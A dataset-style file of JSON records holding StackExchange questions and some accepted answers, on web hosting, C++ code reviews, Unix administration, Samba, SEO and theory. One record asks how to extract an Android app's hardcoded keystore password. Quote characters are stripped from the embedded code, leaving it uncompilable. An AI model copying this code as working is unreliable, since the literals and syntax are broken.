{  "id": "_webmaster.98774"  , "question": "We created an almost identical copy of our web page which has been created in WordPress. Now, it runs on Django/Python so we have to change hosting to make it work. But there is an AdWords campaign running on our web. I'm curious, whether changing the backend and hosting could have any negative influence on AdWords? The domain remains the same."  , "title": "Has switching hosting and backend any influence on Google Adwords?"  , "tags": "google adwords"  } 
{  "id": "_cstheory.1168"  , "question": "This question is (inspired by)/(shamefully stolen from) a similar question at MathOverflow, but I expect the answers here will be quite different. We all have favorite papers in our own respective areas of theory. Every once in a while, one finds a paper so astounding (e.g., important, compelling, deceptively simple, etc.) that one wants to share it with everyone. So list these papers here! They don't have to be from theoretical computer science -- anything that you think might appeal to the community is a fine answer.You can give as many answers as you want; please put one paper per answer! Also, notice this is community wiki, so vote on everything you like!(Note there has been a previous question about papers in recursion-theoretic complexity but that is quite specialized.)"  , "title": "What papers should everyone read?"  , "tags": "big list;soft question"  } 
{  "id": "_softwareengineering.286091"  , "question": "I've just wanted to get to know what these particular settings really do:Project Properties -> Libraries -> Java PlatformProject Properties -> Sources -> Source/Binary FormatAfter a little bit of googling I know, that: [1] By choosing a Java Platform I declare the minimum Java version which can run my jar file. I can't run my jar with Java 6 when I set the project's JDK to 7 or 8.[2] Second option ensures that I compile my sources with specified java version. Moreover, netbeans will check if I do not use any syntax unavailable in a specified java.If I set my project as compatible with min Java 7 (Java Platform and Source format set to 7) I will have problems while running my jar file using jre 6 (it will be impossible). Let me know if my thinking is now correct.However there is one thing I do not understand and it forces me to think, that I make somewhere a mistake... Namely, it is possible to set, for instance, Java 8 as a Java Platform (so my app is compatible with Java 8+) but in source/binary format I can choose Java 6 or even Java 5. Why such a configuration is possible? What are the advantages of writing a source code using syntax from Java 6 when I use a Java 8 as a project's Java Platform?? "  , "title": "Java platform vs Source/Binary format settings in Netbeans"  , "tags": "java;compiler;netbeans;settings;jre"  } 
{  "id": "_codereview.69554"  , "question": "I am currently attempting to become proficient in C++ and started by implementing a basic binary search tree. Most of the programming I have done is in Ada, Python and C. I would like to be able to program efficiently in modern C++ and become familiar with current best practices. I do not have any major questions or concerns beyond the fact that I am not entirely comfortable with the usage of smart pointers. I was hoping some people would simply be willing to critique this code and explain any major problems they may see. I am considering adding an iterator interface but am unsure if I will move forward with that right now. The tree currently works properly for my test cases.Header File#ifndef BST_H#define BST_H#include <memory>template <class BST>class BinarySearchTree{private:/*----------------------------------------------------------------------//                         Type Declarations                             //*---------------------------------------------------------------------*/struct node_t;typedef std::unique_ptr<node_t> node_p;struct node_t//Represents one node of tree data{    BST data;    node_p left;    node_p right;    //node_t constructor    node_t(const BST &item):data(item), left(nullptr), right(nullptr){}};//Type representing connections of a node.enum limb_t {Right, Left};/*----------------------------------------------------------------------//                         Class Variables                               //*---------------------------------------------------------------------*/node_p root;int tree_size;/*----------------------------------------------------------------------//                         Private functions                             //*---------------------------------------------------------------------*/bool _search(const BST &item, node_t * &parent, node_t * &current) const;/*Function searches the tree for the value of item  Sets the parent and current node to the the location of the item if found.  Returns boolean value for the result of the search*/void remove_with_children(node_t * &node);/*Replaces the target node's data with the minimum data found in the right subtree  Deletes the node with the minimum data is then deleted.*/node_t * find_min_r_sub(const node_t &node) const;/*Function locates the minumum data in the given nodes right subtree  Returns a node pointer to the item containing the minimum data*/void remove_with_child(node_t * &parent, node_t * &current);/*Replaces the node to be deleted with the existing node on the parent nodes left or     right limb  Node is deleted after the the move is made*/void remove_leaf(node_t * &parent, node_t * &current);/*Function deletes the target node.*/bool has_child(const node_t &node, const limb_t limb) const;/*Reports True if child is found on given node on given limb. False if not*/bool is_empty(void) const;/*Checks if tree is empty  Returns boolean value for if tree is empty or not*//*----------------------------------------------------------------------//                     Private Print Functions                           //*---------------------------------------------------------------------*/void _postorder(const node_p &node) const;/*Recursively prints the BST in postorder format.*/void _preorder(const node_p &node) const;/*Recursively prints the BST in preorder format.*/void _inorder(const node_p &node) const;/*Recursively prints the BST in inorder format.*/public:/*----------------------------------------------------------------------//                      Constructor and Destructor                       //*---------------------------------------------------------------------*/BinarySearchTree(void);/*Creates tree object,  Sets root to a nullptr and tree_size to 0.*/~BinarySearchTree(void);/*Destroys the tree object  Resets the root node and sets tree_size to 0.*//*----------------------------------------------------------------------//                          Public Functions                             //*---------------------------------------------------------------------*/bool insert(const BST &item);/*Inserts item into the tree.  Returns true if insertions was successful.  Does not allow duplicate items to be inserted.*/bool remove(const BST &item);/*Removes given item from the tree.  Returns false if item not in the tree,  true if removal was successful.*/bool search(const BST &item) const;/*Calls private serch function and searches for the given item  Results are returned as a boolean falue.*//*----------------------------------------------------------------------//                        Public Print Functions                         //*---------------------------------------------------------------------*/void inorder(void) const;/*Public function for printing tree in inorder format.*/void preorder(void) const;/*Public function for printing tree in preorder format.*/void postorder(void) const;/*Public function for printing tree in postorder format.*/};#endifClass Body#include BinarySearchTree.h#include <iostream>template <class BST>BinarySearchTree<BST>::BinarySearchTree(void){       root = nullptr;    tree_size = 0;}template <class BST>BinarySearchTree<BST>::~BinarySearchTree(void){    root.reset();    tree_size = 0;}template <class BST>bool BinarySearchTree<BST>::insert(const BST &item){    node_p new_leaf(new node_t(item));    if(is_empty())    {        root = std::move(new_leaf);    }    else    {        node_t * current  = root.get();        node_t * parent = nullptr;        while(current)        /*-Node searches for null position to insert new node if item is not in tree.          -Each iteration traverses one node and sets next node.*/        {            parent = current;            if(current->data > item)            {                current = current->left.get();            }            else if (current->data < item)            {                current = current->right.get();            }               else            {   //The case that the item is found in the tree.                return false;            }        }        if(parent->data > item) //Insert item.        {            parent->left  = std::move(new_leaf);        }        else        {            parent->right = std::move(new_leaf);        }    }    //Increment tree size.    tree_size++;    return true;}template <class BST>bool BinarySearchTree<BST>::remove(const BST &item){    if(is_empty())    {        return false;    }    node_t * parent;    node_t * current;    if(_search(item, parent, current))    {        if(has_child(*current, Left) && has_child(*current, Right))        {   //node has a left and right child.            remove_with_children(current);        }        else if(has_child(*current, Left) != has_child(*current, Right))        {   //node has a single child.            remove_with_child(parent, current);        }        else        {  //node has no children.            remove_leaf(parent, current);        }        //Decrement tree size.        tree_size--;    }    else    {   //node was not found.        return false;    }    return true;}template <class BST>bool BinarySearchTree<BST>::_search(const BST &item, node_t * &parent, node_t * &current) const{    parent = nullptr;    current = root.get();    while(current)    /*-Loop searches for item in the tree.      -Each iteration traverses and checks one node.*/    {        if(item == (current)->data)        {            return true;        }        else        {            parent = current;            if(item > current->data)            {                current = current->right.get();            }            else            {                current = current->left.get();            }        }    }    return false;}template <class BST>void BinarySearchTree<BST>::remove_with_children(node_t * &node){    node_t * min_parent;    min_parent = find_min_r_sub(*node);    if(min_parent)    {   //Node is set with min value and the minimum node deleted        node->data = min_parent->left->data;        min_parent->left.reset();    }    else    {   //min_parent is null, so the the min value is the nodes right child.        node->data = node->right->data;        node->right.reset();    }}template <class BST>typename BinarySearchTree<BST>::node_t * BinarySearchTree<BST>::find_min_r_sub(const node_t &node) const{    node_t * parent = nullptr;    node_t * current = node.right.get();    while(current->left)    /*- Loop traverses subtree as far left as possible.      - Each iteration traverses one node.*/    {        parent  = current;        current = current->left.get();    }    return parent;}template <class BST>void BinarySearchTree<BST>::remove_with_child(node_t * &parent, node_t * &current){    if(!parent)    {   //node is root        if(current->left)        {            root = std::move(current->left);        }        else        {            root = std::move(current->right);        }    }    else if(current == parent->left.get())    {        if(current->left)        {            parent->left = std::move(current->left);        }        else        {            parent->left = std::move(current->right);        }    }    else    {        if (current->left)        {            parent->right = std::move(current->left);        }        else        {            parent->right = std::move(current->right);        }    }}template <class BST>void BinarySearchTree<BST>::remove_leaf(node_t * &parent, node_t * &current){    if(!parent)    {   //node is root        root.reset();    }    else if(current == parent->left.get())    {        parent->left.reset();    }    else    {        parent->right.reset();    }}template <class BST>bool BinarySearchTree<BST>::has_child(const node_t &node, const limb_t limb) const{    if(((node.left) && (limb == Left)) || ((node.right) && (limb == Right)))    {        return true;    }    return false;}template <class BST>bool BinarySearchTree<BST>::is_empty(void) const{    if(tree_size == 0)    {    return true;    }    return false;}template <class BST>bool BinarySearchTree<BST>::search(const BST &item) const{    node_t * current    node_t * parent    return (_search(item, parent, current));}template <class BST>void BinarySearchTree<BST>::inorder() const{  inorder(root);}template <class BST>void BinarySearchTree<BST>::_inorder(const node_p &node) const{    if(node)    {        if(node->left)        {            inorder(node->left);        }        std::cout<< <<node->data<< ;        if(node->right)         {            inorder(node->right);        }    }    else return;}template <class BST>void BinarySearchTree<BST>::preorder(void) const{    preorder(root);}template <class BST>void BinarySearchTree<BST>::_preorder(const node_p &node) const{    if(node)    {        std::cout<< <<node->data<< ;        if(node->left)        {            preorder(node->left);        }        if(node->right)        {            preorder(node->right);        }    }    else return;}template <class BST>void BinarySearchTree<BST>::postorder(void) const{    postorder(root);}template <class BST>void BinarySearchTree<BST>::_postorder(const node_p &node) const{    if(node)    {        if(node->left)         {            postorder(node->left);        }        if(node->right)         {            postorder(node->right);        }        std::cout<< <<node->data<< ;    }    else return;}"  , "title": "Binary search tree with templates"  , "tags": "c++;c++11;tree;template;pointers"  , "accepted_answer": "There's quite a bit of code here so I haven't gone over it in great detail but the basics seem sound. Here's a few comments on things that jumped out at me at a quick skim though, some are pretty minor but are just suggestions for more idiomatic C++:This is a fairly major issue: generally the definitions of all templates need to be in a header file and not in a .cpp file. With your code as written, you will get linker errors if you try and use your BinarySearchTree class from another translation unit (another .cpp file). You can use explicit template instantiation to work around this if you know in advance the full set of instantiations you need but for a generic container class like this that may be instantiated with arbitrary types all your implementation should be in a header (you can separate it into a detail header for code organization purposes). It's conventional in C++ to use T for template type parameters when the meaning of the parameter is obvious (such as the contained type in a container). Naming your contained type template parameter BST seemed a slightly odd choice to me.Smart pointers are designed to manage ownership automatically and unique_ptrs default constructor initializes it to nullptr. It looks a little redundant to me to explicitly initialize your left and right node_ps with nullptr in the node_t constructor and your root in the BinarySearchTree constructor. Related to the above, it's redundant to call root.reset() in your BinarySearchTree destructor. Members of an object are automatically destroyed in the correct order, you should generally leave resource management up to types like unique_ptr that just do the right thing for you and only explicitly define a destructor for classes that manage resources.It's also redundant to set tree_size to 0 in your destructor - the object is going away so you are clearing a value you will never be able to access. I'd just delete your entire BinarySearchTree destructor as the implicitly generated destructor will be correct for this class.It's not idiomatic C++ to put void in the parameter list for functions that take no arguments (although it's permitted for backwards compatibility with C). Your default constructor and destructor (if you needed one) should just have empty argument lists.It's considered best practice in C++ to prefer pre-increment unless you need post-increment semantics (e.g. ++tree_size rather than tree_size++). This is because pre-increment can be more efficient for user defined types.You may want to consider taking 'sink' arguments (like the item parameter of your node_t constructor and of your insert() function by value and then std::move() them into their destinations. Alternatively you can provide two overloads, one taking a const T& argument and one taking a T&& which can be slightly more efficient by avoiding an extra move. Your insert() function doesn't handle movable types correctly and will not compile for move only types since it takes it's argument by const T& but attempts to std::move() them. Another option is to ignore move semantics for now and just accept copying (move semantics are a somewhat advanced C++ feature if you are trying to implement template classes that use them rather than to simply use them as a consumer of libraries). A handy tip when implementing templated container classes is to create helper classes for unit testing that record the number of copies / moves etc. This makes it easier to catch mistakes like your faulty insert() implementation by verifying that you are getting the number of moves and copies you expect.When designing container classes like this, consider using the same names and idioms in the interface as similar standard library types. For example, your search() function is generally named find() in similar standard library classes like std::set when it returns an iterator or count() when it returns the number of matching elements and insert() generally returns a pair<iterator, bool> or just an iterator indicating if the element was inserted and where it was inserted. It would also be good here to provide an iterator interface similar to standard library types, although it would require a fair bit of code to implement."  } 
{  "id": "_unix.43969"  , "question": "I've a directory on a NAS mount (from NetApp), that contains ~6300 image files, total size of this directory is ~ 300 MB. I get two different performances of time ls:First time (or after waiting 5-7 minutes): time lsreal    0m4.505suser    0m0.061ssys     0m0.258sSubsequent times: time lsreal    0m0.340suser    0m0.038ssys     0m0.075sI'm fairly new to storage and disks, but my questions are:what causes ls to be slow in some instances and 10+ times fast in others?how would I go about troubleshooting this issue?Update:Here is what I got back from the sysadmin on how NAS is mounted:nashost:/vol/cmsprd/files    /app/files      nfs     noquota,proto=tcp       0       0and here is what I see running for nfs on the host:ps -ef | grep nfsroot      3234     2  0 Mar21 ?        00:00:02 [nfsiod]I'm still looking for the connection speed.Thanks!"  , "title": "What could cause a NAS mount to respond slowly?"  , "tags": "performance;nfs;disk"  } 
{  "id": "_codereview.111188"  , "question": "I have written this snippet to find r-permutations of n, i.e. if I have an array of n=3 {0,1,2}, then r=2 permutations will be {{0, 1}, {0, 2}, {1, 0}, {1, 2}, {2, 0}, {2, 1}}.Can somebody review it and help me optimize / reduce its complexity (I don't want to use recursive function):_getAllPermutation: function(input, allPermutations, usedIndices, r) {    var index = 0,        usedIndex = null;    for (; index < input.length; index++) {        usedIndex = input.splice(index, 1)[0];        r--;        usedIndices.push(usedIndex);        if (input.length === 0 || r === 0) {            allPermutations.push(usedIndices.slice());        }        if (r > 0) {            this._getAllPermutation(input, allPermutations, usedIndices, r);        }        input.splice(index, 0, usedIndex);        r++;        usedIndices.pop();    }}"  , "title": "`r` permutations of `n`"  , "tags": "javascript;combinatorics"  } 
{  "id": "_unix.360748"  , "question": "I just installed Kubuntu 17.04. It broke my audio config. What is weird is that if I run from live-USB, the audio works perfectly.How can I dump the config from the live session and restore it in the installed version?"  , "title": "Copying audio config"  , "tags": "audio"  } 
{  "id": "_softwareengineering.298363"  , "question": "When I want to create an object which aggregates other objects, I find myself wanting to give access to the internal objects instead of revealing the interface to the internal objects with passthrough functions.For example, say we have two objects:class Engine;using EnginePtr = unique_ptr<Engine>;class Engine{public:    Engine( int size ) : mySize( 1 ) { setSize( size ); }    int getSize() const { return mySize; }    void setSize( const int size ) { mySize = size; }    void doStuff() const { /* do stuff */ }private:    int mySize;};class ModelName;using ModelNamePtr = unique_ptr<ModelName>;class ModelName{public:    ModelName( const string& name ) : myName( name ) { setName( name ); }    string getName() const { return myName; }    void setName( const string& name ) { myName = name; }    void doSomething() const { /* do something */ }private:    string myName;};And lets say we want to have a Car object which is composed of both an Engine and a ModelName (this is contrived obviously).  One possible way to do so would be to give access to each of these/* give access */class Car1{public:    Car1() : myModelName{ new ModelName{ default } }, myEngine{ new Engine{ 2 } } {}    const ModelNamePtr& getModelName() const { return myModelName; }    const EnginePtr& getEngine() const { return myEngine; }private:    ModelNamePtr myModelName;    EnginePtr myEngine;};Using this object would look like this:Car1 car1;car1.getModelName()->setName( Accord );car1.getEngine()->setSize( 2 );car1.getEngine()->doStuff();Another possibility would be to create a public function on the Car object for each of the (desired) functions on the internal objects, like this:/* passthrough functions */class Car2{public:    Car2() : myModelName{ new ModelName{ default } }, myEngine{ new Engine{ 2 } } {}    string getModelName() const { return myModelName->getName(); }    void setModelName( const string& name ) { myModelName->setName( name ); }    void doModelnameSomething() const { myModelName->doSomething(); }    int getEngineSize() const { return myEngine->getSize(); }    void setEngineSize( const int size ) { myEngine->setSize( size ); }    void doEngineStuff() const { myEngine->doStuff(); }private:    ModelNamePtr myModelName;    EnginePtr myEngine;};The second example would be used like this:Car2 car2;car2.setModelName( Accord );car2.setEngineSize( 2 );car2.doEngineStuff();My concern with the first example is that it violates OO encapsulation by giving direct access to the private members.My concern with the second example is that, as we get to higher levels in the class hierarchy, we could wind up with god-like classes that have very large public interfaces (violates the I in SOLID).Which of the two examples represents better OO design?  Or do both examples demonstrate a lack of OO comprehension?"  , "title": "Does returning pointer to composed objects violate encapsulation"  , "tags": "object oriented;c++;encapsulation"  , "accepted_answer": "I find myself wanting to give access to the internal objects instead of revealing the interface to the internal objects with passthrough functions.So, why then is it internal?The objective is not to reveal the interface to the internal object but to create a coherent, consistent, expressive interface. If an internal object's functionality needs to be exposed and a simple pass-through will do, then pass-through. Good design is the goal, not avoid trivial coding.Giving access to an internal object means:The client has to know about those internals to use them.The above means desired abstraction is blown out of the water. You expose the internal object's other public methods and properties, allowing the client to manipulate your state in unintended ways.Significantly increased coupling. Now you are at risk of breaking client code should you modify the internal object, change it's method signature, or even replace the whole object (change the type).All of this is why we have the Law of Demeter. Demeter does not say well, if it's just passing through, then it's ok to ignore this principle."  } 
{  "id": "_reverseengineering.14701"  , "question": "Novice Android security researcher here. Recently I was tasked with the task/challenge of exposing a certain app's hardcoded local keystore password.I've decompiled it with JEB2 and obviously within huge mess of code I can see various references to the cryptographic algorithms, hashing and encoding routines (OCRA1, HMAC, SHA1, AES, base64 etc.) utilized in the classes and methods of the prototypes, related calls etc.Now, from the experienced pentester's viewpoint would it be possible to reveal the hardcoded pass through app's heap dumps or maybe traffic interception with the BurpSuite's mitm attack via fake certificate between the client/server point? If so, how would I then discern it from the ocean of other strings?!If that's not possible what is the proper way to proceed from then on taking into account lack of experience in reading java or reverse engineering crypto stuff?Regards"  , "title": "Android App's hardcoded local keystore password r3versing"  , "tags": "decompilation;android;obfuscation;encryption;decryption"  , "accepted_answer": "First thing I'd try to search for uses of standard implementation of the key store,  KeyStore class. This class is external for the application and should be referenced by name.If this key store uses standard API it probably uses the the KeyStore.load function which gets the desired password as a second parameter.final void    load(InputStream stream, char[] password) :   Loads this KeyStore from the given input stream.Good luck. "  } 
{  "id": "_codereview.97034"  , "question": "I wrote some code to translate numbers ( for now just positive, up to the 32bit limit ) into English words.Everything works and I'm happy. I searched through the site looking for a comparison code but I couldn't find a C++ version that goes above 999 to use as exampleI had a few assumptions:No need for and, just spaces ( Ex: two hundred three )I never wrote much code ( yes this is a big program for me ), so I have no idea how to manage it correctly, I think it's pretty much spaghetti-code at the moment, that's why I tried adding some documentation to clarify things.The algorithm I used feels like it's overcomplicated and more patched together than planned out.#include <iostream>     // std::cout, std::cin, std::endl#include <vector>       // std::vector#include <algorithm>    // std::reverseconst std::vector<std::string> first_twenty_vocabular = {        zero ,        one ,        two ,        three ,        four ,        five ,        six ,        seven ,        eight ,        nine ,        ten ,        eleven ,        twelve ,        thirteen ,        fourteen ,        fifteen ,        sixteen ,        seventeen ,        eighteen ,        nineteen  };const std::vector<std::string> magnitude_vocabular = {        hundred ,        thousand ,        million ,        billion };const std::vector<std::string> decine_vocabular = {        twenty ,        thirty ,        fourty ,        fifty ,        sixty ,        seventy ,        eighty ,        ninety };// HERE THE MAGIC HAPPENS.std::string Stringer(std::vector<int> src);        // Translate the number up to the hundreds, if the number is bigger it sends it to MagnitudeSplitte() for splitting it up.std::string MagnitudeSplitter(std::vector<int> src);        // Splits a number too big for Stringer to handle into smaller chunks (using VectorSplitter()) of max 3 digits, translate them with Stringer() and appends the right magnitude.std::vector<int> VectorSplitter(std::vector<int> &V);        // Splits the number by the hundreds.        // Ex:  12004 is split into 12 and 004.        //      1222333 is split into 1 and 222333.        //      111222 is split into 111 and 222.// ######################################################// THESE FUNCTIONS ARE HELPER FUNCTIONS TO Stringer().std::string units(std::vector<int> src);        // Translate the singe digits numbers.std::string decine(std::vector<int> src);        // Transalte the double digits numbers.        // ( Considered the structure of the vocabular vectors, i'm considering merging both units and decine into the same function.)std::string hundreds(std::vector<int> src);        // Transalte the triple digits numbers.// #############################################################// TOOLS.void FlipVector(std::vector<int>& V) {        std::reverse(V.begin(), V.end());}void PrintVector(std::vector<int> v) {        int len = v.size();        for (int i  = 0; i < len; ++i) { std::cout << v[i];}        std::cout << std::endl;}std::vector<int> Splitter(int src_num) {        // Convert the input number into a vector.        std::vector<int> v_Digits;        if (src_num == 0) {                v_Digits.push_back(0);                return v_Digits;        }        else {                while(src_num >= 10) {                        v_Digits.push_back(src_num%10);                        src_num /= 10;                }                v_Digits.push_back(src_num);                return v_Digits;        }}// ###################################################std::string units(std::vector<int> src) {        std::string uni_str = first_twenty_vocabular[src[0]];        return uni_str;}std::string decine(std::vector<int> src) {        std::string dec_str = ;        if (src[0] == 0) {                if (src[1] == 0) { return dec_str; }                else {                        dec_str.append(first_twenty_vocabular[src[1]]);                        return dec_str;                }        }        else if (src[0] == 1) {                dec_str.append(first_twenty_vocabular[10+src[1]]);                return dec_str;        }        else {                dec_str.append(decine_vocabular[src[0]-2]);                if(src[1] == 0) { return dec_str; }                else {                        dec_str.append(first_twenty_vocabular[src[1]]);                        return dec_str;                }        }}std::string hundreds(std::vector<int> src) {        std::string hundred_string = ;        if(src[0] == 0) {                std::vector<int> dec_vec= {src[1],src[2]};                std::string dec_str = decine(dec_vec);                hundred_string.append(dec_str);                return hundred_string;        }        else {                hundred_string.append(first_twenty_vocabular[src[0]]);                hundred_string.append(hundred );                std::vector<int> dec_vec= {src[1],src[2]};                std::string dec_str = decine(dec_vec);                hundred_string.append(dec_str);                return hundred_string;        }}std::string Stringer(std::vector<int> src) {        std::string num_string = ;        int len = src.size();        if( src[0] < 0 ) {                num_string.append(minus );                for (int i = 0; i < len; ++i) { src[i] = -i; }        }        if (len == 1) {                std::string add = units(src);                num_string.append(add);        } else if (len == 2) {                std::string add = decine(src);                num_string.append(add);        } else if (len == 3) {                std::string add = hundreds(src);                num_string.append(add);        } else {                return MagnitudeSplitter(src);        }        return num_string;}std::vector<int> VectorSplitter(std::vector<int> &V){        std::vector<int> first_digits;        int len = V.size();        if (len%3 == 0) {                for(int i = 0; i < 3; ++i) {                        first_digits.push_back(V[0]);                        FlipVector(V);                        V.pop_back();                        FlipVector(V);                }        } else {                for( int i = 0; i < (len-(3*(len/3))); ++i) {                        first_digits.push_back(V[0]);                        FlipVector(V);                        V.pop_back();                        FlipVector(V);                }        }        return first_digits;}std::string MagnitudeSplitter(std::vector<int> src) {        int len = src.size();        std::string tot_str = ;        if (len == 3) {                return Stringer(src);        } else {                std::vector<int> first_digits = VectorSplitter(src);                int new_len = first_digits.size();                std::string add = Stringer(first_digits);                int sum_values = 0;    // To know if there are only zeroes.                for ( int i = 0; i < new_len; ++i) {                        sum_values += first_digits[i];                }                tot_str.append(add);                if (sum_values) {                        // Appends the right magnitude only if the relative chunk is significative ( with something in it).                        tot_str.append(magnitude_vocabular[(len-1)/3]);                }                std::string return_str = Stringer(src);                tot_str.append(return_str);        }        return tot_str;}int main() {        std::cout << insert your number: ; int x; std::cin >> x;        std::vector<int> v_result = Splitter(x); // Face down, ass up.        FlipVector(v_result);                    // Face up, ass down (poor boy)        PrintVector(v_result);        std::cout << Stringer(v_result) << std::endl;}"  , "title": "Integer to English Conversion"  , "tags": "c++;c++11;converting;numbers to words"  , "accepted_answer": "From the top down, first, given what you want to do, your function had better look like this:std::string toEnglish(int x);Your Stringer() function sort of does this, but with a really weird name. In fact, all your functions have really weird names. Splitting into a vector of digits doesn't seem particularly useful to the problem at hand either. And your negative check is definitely wrong:for (int i = 0; i < len; ++i) { src[i] = -i; }That'll just overwrite your src with values that had nothing to do with it.The rest of Stringer()'s logic is really confusing as well. So we have:if (len == 1) {    std::string add = units(src);    num_string.append(add);} else if (len == 2) {    std::string add = decine(src);    num_string.append(add);} else if (len == 3) {    std::string add = hundreds(src);    num_string.append(add);} else {    return MagnitudeSplitter(src);}return num_string;Which would be exactly equivalent to:switch (len) {case 1: return units(src);case 2: return decine(src);case 3: return hundreds(src);default: return MagnitudeSplitter(src);}MagnitudeSplitter then checks for the length being 3, which we know will never happen. But really, why are these different cases at all? On top of that, you're copying your objects at every point instead of taking by reference to const. I find it very hard to follow your decine and hunrdeds functions. I am not sure if they're correct. I think the best code review I could give you is...Let's start over. With English number words, the way to do it is to divide the number into blocks of 3 and do each one. So I would expect a helper function like;/* Given a number 1-999, convert it to English. Examples:      2 -> two      127 -> one hundred twenty seven */std::string blockToEnglish(int x);Which we could use like:std::string toEnglish(int x) {    if (x == 0) return zero;    std::vector<int> blocks;    while (x > 0) {        blocks.push_back(x % 1000);        x /= 1000;    }    std::vector<std::string> block_words;    for (size_t i = 0; i != blocks.end(); ++i) {        if (blocks[i]) {            block_words.append(blockToEnglish(blocks[i]));                        }    }    // TODO as exercise: combine block_words into one    // string with the millions, etc separators    // as well as handle negatives}"  } 
{  "id": "_cs.12480"  , "question": "What does $A^B$ mean where A and B are complexity classes?The Polynomial Hierarchy page says:$A^B$ is the set of decision problems solvable by a Turing machine in class A augmented by an oracle for some complete problem in class BIn that case what is a Turing machine in class A?(besides just a machine of some sort that can solve problems in A, because that doesn't give any insight as to what it means to augment such a machine with an oracle)The motivation for this question was: What is a Turing Machine in class coNP. "  , "title": "What does $A^B$ mean?"  , "tags": "turing machines;complexity classes"  } 
{  "id": "_unix.118093"  , "question": "Being able to put a script in /etc/cron.daily is really nice because I can do it easily from a configuration management system or a package.  However, my understanding is that all the entries in /etc/cron.daily will run sequentially.  How can I make a script in /etc/cron.daily not hold up the other tasks?  Would something like the following work?#!/bin/bash#do something long:nohup sleep 1000000000 &;#instead of sleep, this could point to another script that takes a while to execute"  , "title": "Running cron.daily in parallel"  , "tags": "bash;cron"  , "accepted_answer": "Yes, if you background the process in the script, the next one will be started. Scripts in /etc/cron.daily are run by run-parts (from man cron):Support for /etc/cron.hourly, /etc/cron.daily, /etc/cron.weekly and /etc/cron.monthly is provided  in  Debian  through     the  default  setting  of  the  /etc/crontab file (see the system-wide example in crontab(5)).  The default sytem-wide     crontab contains four tasks: run every hour, every day, every week and every month. Each of these tasks  will  execute     run-parts  providing  each  one  of  the  directories as an argument. These tasks are disabled if anacron is installed     (except for the hourly task) to prevent conflicts between both daemons.So, you can simulate by running it manually. For example:$ ls /etc/cron.daily/test1  test2$ cat test1#!/bin/bashecho starting 1  >> /tmp/hahasleep 1000000000 & $ cat test2#!/bin/bashecho starting 2  >> /tmp/hahasleep 1000000000 &$ sudo run-parts /etc/cron.daily$ cat /tmp/hahastarting 1starting 2In the example above, I created two scripts that simply run sleep 1000000000 &. Because of the &, the process is sent to the background and run-parts moves on to the next script. So, nohup is not needed, all you need is the & at the end of the line that will take a while."  } 
{  "id": "_cs.74809"  , "question": "The following quote is from the book The art of computer programming:(..) sentence  would presumably be used only if either $j$ or $k$ (not both) has exterior significance.In most cases we will use notation (2) only when the sum is finite - that is, when only a finite number of values $j$ satisfy $R(j)$ and have $a_j \\neq 0$. If an infinite sum is required, for example  $$\\sum_{j=1}^{\\infty} = \\sum_{j \\geq 1}a_j = a_1 + a_2 + a_3+\\cdots$$  with infinitely many nonzero terms, the techniques of calculus must be employed; the precise meaning of (2) is then  $$\\qquad\\qquad \\sum_{R(j)} a_j = \\left(\\lim_{n\\rightarrow\\infty} \\sum_{R(j) \\atop 0\\leq j \\leq n} a_j\\right) + \\left(\\lim_{n\\rightarrow\\infty} \\sum_{R(j) \\atop 0\\leq j \\leq n} a_j\\right),\\qquad\\qquad(3)$$(...)And why are they exactly the same? I showed a math professor and he thinks they're labelled wrong but couldn't figure it out. I don't even get why there are two. Sorry if the question isn't clear enough. I'm referring to the two infinite sums. As far as (2) is concerned he is only referring to what is on the left hand side of the equation with the two infinite sums. Its just a way of representing any possible series. So essentially my question is how does making any series go to infinity make two of them? Or am I misunderstanding?Also I tried to post this in math stack exchange and it wouldn't let me so I came here since its from the book, the art of computer programming."  , "title": "Can someone explain why there are two summations here?"  , "tags": "mathematical analysis"  } 
{  "id": "_unix.144515"  , "question": "Our Unix team often uses Samba to join machines to the domain. The command they have traditionally used is:net join ADS -w [domain name] -U [username]I am one of our AD admins and I am trying to find out how to get them to be able to join to a specific OU so we can have all of the Samba machines organized in AD. From all of my research, it seems that this should work:net join ads Servers/Samba -w [domain] -U [username] This still allows the machine to join to the domain without issue but it keeps ending up in the 'computers' container and we receive no errors. I have made sure on the AD side that the user they are using have join domain rights and create/delete computer objects on both the servers OU tree and the computers container. What am I missing? I can't find much documentation on the Samba net commands without having access to a unix box with it. Also, I noticed in most examples people always had 'net ads join...' rather than 'net join ads...' - our Unix admin got errors when trying to use net ads join. I do not know why our syntax seems different then most examples I found but I wanted to point it out.Here are some sites that support my research:https://www.samba.org/samba/docs/man/Samba-HOWTO-Collection/domain-member.htmlhttp://www.members.optushome.com.au/~wskwok/poptop_ads_howto_6a.htm"  , "title": "Samba 3.5.9 - join domain specific OU - net join ads"  , "tags": "samba;active directory"  } 
{  "id": "_webmaster.7130"  , "question": "Nowadays often what was accomplished with an <img> tag is now done with something like a <div> with a CSS background image set using a CSS 'sprite' and an offset.I was wondering what kind of an effect his has on SEO, as effectively we lose the alt attribute (which is indexed by Google), and are stuck with the 'title' attribute (which as far as I understand is not indexed).Is this a significant disadvantage?"  , "title": "Are CSS sprites bad for SEO?"  , "tags": "seo;css"  , "accepted_answer": "CSS sprites should only be used for decorative elements for this reason - use <img> for elements which are specific to a page and use sprites for decorative elements which are not contextually relevant to the content presented.If you need a button image for your navigation items it makes much more sense to add that image as a background on the navigation link rather than markup like this:<a href=/>  <img src=/images/home.gif title=Home alt=Home Button />   Home</a>(i.e. wherever the image's content is redundant to text content on the page or the image's content could best be described as decoration)As an added bonus of separating site template elements as sprites, you'll later be able to change the site's skin by changing the stylesheet instead of overwriting the old design image files or rewriting all your HTML markup."  } 
{  "id": "_cstheory.2215"  , "question": "I'm new to the site. On mathoverflow this would be community wiki, but I don't see how to set that here. Not a research question, but hopefully of interest to professional theoretical computer scientists.I am a 2nd year grad student in theory, and I was wondering what advice the community had for what I should be doing now to aim for a career in academia. I know I should do great research -- yes, I try. :-) I am looking for less obvious advice. How important are social aspects? Going to conferences, knowing great people? Am I at a big disadvantage if my advisor/school are not famous? Does a blog help/hurt my chances?Thanks!"  , "title": "How to get a job"  , "tags": "soft question;career;advice request"  } 
{  "id": "_unix.107256"  , "question": "Is there an application that works like TeamViewer but only works for SSH?I'm configuring a server, and want to place it anywhere but still be able to access ith with putty. Is there a service or application I can use to access it? Much a like TeamViewer, but I don't want the desktop, only SSH"  , "title": "Is there a way to use ssh remotely without configure the firewall?"  , "tags": "ssh"  } 
